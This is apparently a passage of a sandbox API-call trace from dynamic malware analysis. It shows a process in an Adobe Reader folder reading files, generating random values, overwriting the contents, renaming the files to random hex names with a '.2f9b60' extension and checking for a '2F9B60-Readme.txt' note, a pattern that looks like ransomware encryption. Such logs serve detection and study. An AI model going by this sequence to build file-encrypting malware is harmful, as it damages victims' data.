[0103.268] SetFilePointerEx (in: hFile=0x1734, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.268] ReadFile (in: hFile=0x1734, lpBuffer=0x41f26910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2658f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f26910*, lpNumberOfBytesRead=0x2658f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.314] SetFilePointerEx (in: hFile=0x1734, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0103.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0103.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261580 [0103.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261580) returned 1 [0103.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce70190 [0103.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261580 [0103.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0103.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202638f0) returned 1 [0103.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0103.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0103.315] WriteFile (in: hFile=0x1734, lpBuffer=0x1ce70190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2658f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce70190*, lpNumberOfBytesWritten=0x2658f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce70190) returned 1 [0128.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f26910) returned 1 [0128.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced88b0 [0128.312] SetFilePointerEx (in: hFile=0x1734, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.312] WriteFile (in: hFile=0x1734, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2658f850, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x2658f850*=0x10c, lpOverlapped=0x0) returned 1 [0161.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0161.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0161.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3cb0 [0161.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3cb0) returned 1 [0161.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a3cb0 [0161.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d10 [0161.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40d0 [0161.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a40d0) returned 1 [0161.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0161.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0161.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d8300 [0161.393] sprintf (in: _Dest=0x1b7d8300, _Format="%c%c" | out: _Dest="90") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8302, _Format="%c%c" | out: _Dest="80") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8304, _Format="%c%c" | out: _Dest="28") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8306, _Format="%c%c" | out: _Dest="db") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8308, _Format="%c%c" | out: _Dest="64") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d830a, _Format="%c%c" | out: _Dest="7a") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d830c, _Format="%c%c" | out: _Dest="9d") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d830e, _Format="%c%c" | out: _Dest="bd") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8310, _Format="%c%c" | out: _Dest="b0") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8312, _Format="%c%c" | out: _Dest="7d") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8314, _Format="%c%c" | out: _Dest="4d") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8316, _Format="%c%c" | out: _Dest="91") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8318, _Format="%c%c" | out: _Dest="45") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d831a, _Format="%c%c" | out: _Dest="d6") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d831c, _Format="%c%c" | out: _Dest="ad") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d831e, _Format="%c%c" | out: _Dest="da") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8320, _Format="%c%c" | out: _Dest="cf") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8322, _Format="%c%c" | out: _Dest="59") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8324, _Format="%c%c" | out: _Dest="10") returned 2 [0161.393] sprintf (in: _Dest=0x1b7d8326, _Format="%c%c" | out: _Dest="35") returned 2 [0161.394] sprintf (in: _Dest=0x1b7d8328, _Format="%c%c" | out: _Dest="4d") returned 2 [0161.394] sprintf (in: _Dest=0x1b7d832a, _Format="%c%c" | out: _Dest="c1") returned 2 [0161.394] sprintf (in: _Dest=0x1b7d832c, _Format="%c%c" | out: _Dest="ed") returned 2 [0161.394] sprintf (in: _Dest=0x1b7d832e, _Format="%c%c" | out: _Dest="bd") returned 2 [0161.394] sprintf (in: _Dest=0x1b7d8330, _Format="%c%c" | out: _Dest="91") returned 2 [0161.394] sprintf (in: _Dest=0x1b7d8332, _Format="%c%c" | out: _Dest="57") returned 2 [0161.394] RtlInitAnsiString (in: DestinationString=0x2658f8c8, SourceString="908028db647a9dbdb07d4d9145d6addacf5910354dc1edbd9157" | out: DestinationString="908028db647a9dbdb07d4d9145d6addacf5910354dc1edbd9157") [0161.394] RtlAnsiStringToUnicodeString (in: DestinationString=0x2658f898, SourceString="908028db647a9dbdb07d4d9145d6addacf5910354dc1edbd9157", AllocateDestinationString=1 | out: DestinationString="908028db647a9dbdb07d4d9145d6addacf5910354dc1edbd9157") returned 0x0 [0161.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce59d30 [0161.394] RtlFreeAnsiString (AnsiString="9") [0161.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8300) returned 1 [0161.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3cb0) returned 1 [0161.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d10) returned 1 [0161.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167280) returned 1 [0161.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88e0) returned 1 [0161.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7560) returned 1 [0161.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88b0) returned 1 [0161.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261580) returned 1 [0161.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ee0) returned 1 [0161.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260620) returned 1 [0161.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263aa0) returned 1 [0161.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ceb6d60 [0161.397] wcscat (in: _Dest=0x1ceb6d60, _Source="908028db647a9" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\908028db647a9") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\908028db647a9" [0161.397] wcscat (in: _Dest=0x1ceb6d60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\908028db647a9.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\908028db647a9.2f9b60" [0161.397] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\908028db647a9.2f9b60", NtPathName=0x2658f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\908028db647a9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd64210 [0163.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64210) returned 1 [0163.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ad10) returned 1 [0163.190] NtQueryInformationFile (in: FileHandle=0x1734, IoStatusBlock=0x2658f8d8, FileInformation=0x2658f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2658f8d8, FileInformation=0x2658f8e8) returned 0x0 [0163.190] NtSetInformationFile (FileHandle=0x1734, IoStatusBlock=0x2658f8d8, FileInformation=0x2658f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb6d60) returned 1 [0165.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59d30) returned 1 [0165.011] FlushFileBuffers (hFile=0x1734) returned 1 [0166.262] CloseHandle (hObject=0x1734) returned 1 [0183.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b869a40 [0183.951] wcscpy (in: _Dest=0x1b869a40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0183.951] wcscat (in: _Dest=0x1b869a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0183.951] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0183.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0183.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8679c0) returned 1 Thread: id = 886 os_tid = 0x1480 [0101.090] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm")) returned 0x20 [0104.866] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm", dwFileAttributes=0x20) returned 1 [0105.095] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xed0 [0105.095] GetFileSizeEx (in: hFile=0xed0, lpFileSize=0x24ddfcc0 | out: lpFileSize=0x24ddfcc0*=6072) returned 1 [0105.095] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.095] ReadFile (in: hFile=0xed0, lpBuffer=0x24ddfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24ddfc88, lpOverlapped=0x0 | out: lpBuffer=0x24ddfc40*, lpNumberOfBytesRead=0x24ddfc88*=0x4, lpOverlapped=0x0) returned 1 [0105.175] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0105.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0105.175] NtQuerySystemTime (in: CurrentTime=0x24ddfb80 | out: CurrentTime=0x24ddfb80*=132462177106738000) returned 0x0 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x22c1b1eb [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x1e5e28f7 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x60202483 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x74d476b2 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x699057b1 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x6082128b [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x338395a5 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x211638fd [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x54d32cb7 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x2befeef7 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x107d5f27 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x523fac2f [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x55f3c841 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x4cf3fddd [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x726cdf08 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x72a11317 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x7ee01d90 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x72b707ca [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x59da0ac8 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x6abaa902 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x4be30eaf [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x725697f8 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x531a7c86 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x13d9d543 [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x3b035e1c [0105.176] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x4279af65 [0105.177] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x61c2d45c [0105.177] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x2ec64789 [0105.177] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x1fb1ecfa [0105.177] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x62165f35 [0105.177] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x6fc49b37 [0105.177] RtlRandomEx (in: Seed=0x24ddfb70 | out: Seed=0x24ddfb70) returned 0x563c3040 [0105.187] ReadFile (in: hFile=0xed0, lpBuffer=0x41f39560, nNumberOfBytesToRead=0x17b8, lpNumberOfBytesRead=0x24ddfb70, lpOverlapped=0x0 | out: lpBuffer=0x41f39560*, lpNumberOfBytesRead=0x24ddfb70*=0x17b8, lpOverlapped=0x0) returned 1 [0105.335] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.335] WriteFile (in: hFile=0xed0, lpBuffer=0x41f3d170*, nNumberOfBytesToWrite=0x17b8, lpNumberOfBytesWritten=0x24ddfb74, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesWritten=0x24ddfb74*=0x17b8, lpOverlapped=0x0) returned 1 [0105.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0105.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0105.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6530) returned 1 [0105.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0105.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f39560) returned 1 [0105.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0105.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0105.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a6530 [0105.382] SetFilePointerEx (in: hFile=0xed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.382] WriteFile (in: hFile=0xed0, lpBuffer=0x169c40*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x24ddfc90, lpOverlapped=0x0 | out: lpBuffer=0x169c40*, lpNumberOfBytesWritten=0x24ddfc90*=0x108, lpOverlapped=0x0) returned 1 [0105.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0105.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0105.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0105.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0105.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0105.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0105.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0105.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202624e0) returned 1 [0105.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0105.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0105.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f630 [0105.505] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="77") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="63") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="96") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="4b") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="91") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="cb") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="42") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="fe") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="f0") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="cb") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="cd") returned 2 [0105.505] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="a6") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="05") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="fe") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="f4") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="c7") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="57") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="9d") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="82") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="da") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="c7") returned 2 [0105.506] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="e2") returned 2 [0105.506] RtlInitAnsiString (in: DestinationString=0x24ddfd08, SourceString="7763964b91cb42fef0cbcda605fef4c7579d82dac7e2" | out: DestinationString="7763964b91cb42fef0cbcda605fef4c7579d82dac7e2") [0105.506] RtlAnsiStringToUnicodeString (in: DestinationString=0x24ddfcd8, SourceString="7763964b91cb42fef0cbcda605fef4c7579d82dac7e2", AllocateDestinationString=1 | out: DestinationString="7763964b91cb42fef0cbcda605fef4c7579d82dac7e2") returned 0x0 [0105.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced5a20 [0105.506] wcscat (in: _Dest=0x1b85e090, _Source="7763964b91c" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\7763964b91c") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\7763964b91c" [0105.507] wcscat (in: _Dest=0x1b85e090, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\7763964b91c.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\7763964b91c.2f9b60" [0105.507] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\7763964b91c.2f9b60", NtPathName=0x24ddfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\7763964b91c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x204ffc30 [0106.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffc30) returned 1 [0106.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece810) returned 1 [0106.111] NtQueryInformationFile (in: FileHandle=0xed0, IoStatusBlock=0x24ddfd18, FileInformation=0x24ddfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24ddfd18, FileInformation=0x24ddfd28) returned 0x0 [0106.111] NtSetInformationFile (FileHandle=0xed0, IoStatusBlock=0x24ddfd18, FileInformation=0x24ddfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0106.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5a20) returned 1 [0106.934] FlushFileBuffers (hFile=0xed0) returned 1 [0107.403] CloseHandle (hObject=0xed0) returned 1 [0107.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20503890 [0107.404] wcscpy (in: _Dest=0x20503890, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0107.404] wcscat (in: _Dest=0x20503890, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0107.404] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0107.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0107.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 Thread: id = 887 os_tid = 0x1484 [0101.092] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm")) returned 0x20 [0104.861] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm", dwFileAttributes=0x20) returned 1 [0105.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmek.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x163c [0105.097] GetFileSizeEx (in: hFile=0x163c, lpFileSize=0x294cfda0 | out: lpFileSize=0x294cfda0*=16528) returned 1 [0105.097] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x408c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.097] ReadFile (in: hFile=0x163c, lpBuffer=0x294cfd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x294cfd68, lpOverlapped=0x0 | out: lpBuffer=0x294cfd20*, lpNumberOfBytesRead=0x294cfd68*=0x4, lpOverlapped=0x0) returned 1 [0105.188] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0105.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0105.188] NtQuerySystemTime (in: CurrentTime=0x294cfc60 | out: CurrentTime=0x294cfc60*=132462177106738000) returned 0x0 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x1bc74aee [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x57683f5c [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x52eb2b45 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x4ef9f398 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x77cf9c30 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x4ddcb088 [0105.188] RtlRandomEx (in: Seed=0x294cfc50 | out: Seed=0x294cfc50) returned 0x706c99a1 [0105.188] 